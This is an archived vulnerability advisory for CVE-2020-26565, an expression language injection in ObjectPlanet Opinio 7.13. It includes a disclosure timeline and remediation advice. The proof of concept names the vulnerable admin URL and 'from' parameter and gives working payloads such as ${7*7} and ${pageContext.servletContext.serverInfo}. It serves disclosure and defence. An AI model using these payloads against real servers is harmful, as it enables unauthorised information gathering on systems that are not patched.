ObjectPlanet Opinio 7.13 Expression Language Injection

Authored by Daniel Tan, Khor Yong Heng, Timothy Tan, Yu Enhui

Posted Jul 30, 2021

ObjectPlanet Opinio version 7.13 suffers from an expression language injection vulnerability.

tags | exploit
advisories | CVE-2020-26565
SHA-256 | a3eb218a2f08f0bd814466c67083d00a77e140446ee2dfeedea41ff480fbbb9f

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Exploit Title: ObjectPlanet Opinio version 7.13 allows expression language injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Timeline
- September 2020:  Initial discovery
- October 2020:  Reported to ObjectPlanet
- November 2020:  Fix/patch provided by ObjectPlanet
- July 2021:  CVE-2020-26565

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and
managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to expression language injection

# 3. Proof of Concept

### Expression Language Injection leading to sensitive information disclosure ###

Step 1:

URL: /opinio/admin/permissionList.do?userId=1&from=${7b7%2a7%7d
Payload: ${7*7} - URL encoded

The "from" parameter is vulnerable to Expression Language injection and this was validated by inspecting the
loaded page source which executed the URL encoded payload to return 49

This vulnerability can be used to enumerate the sensitive information about the web server. Some examples of
payloads that executed successfully are:
- ${pageContext.request.serverName} - returned server name
- ${pageContext.servletContext.serverInfo} - returned server information
- ${pageContext.servletConfig.class} - returned information about the Apache server

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at :
https://www.objectplanet.com/opinio/changelog.html

-----------------------------------------------------------

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)
```

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed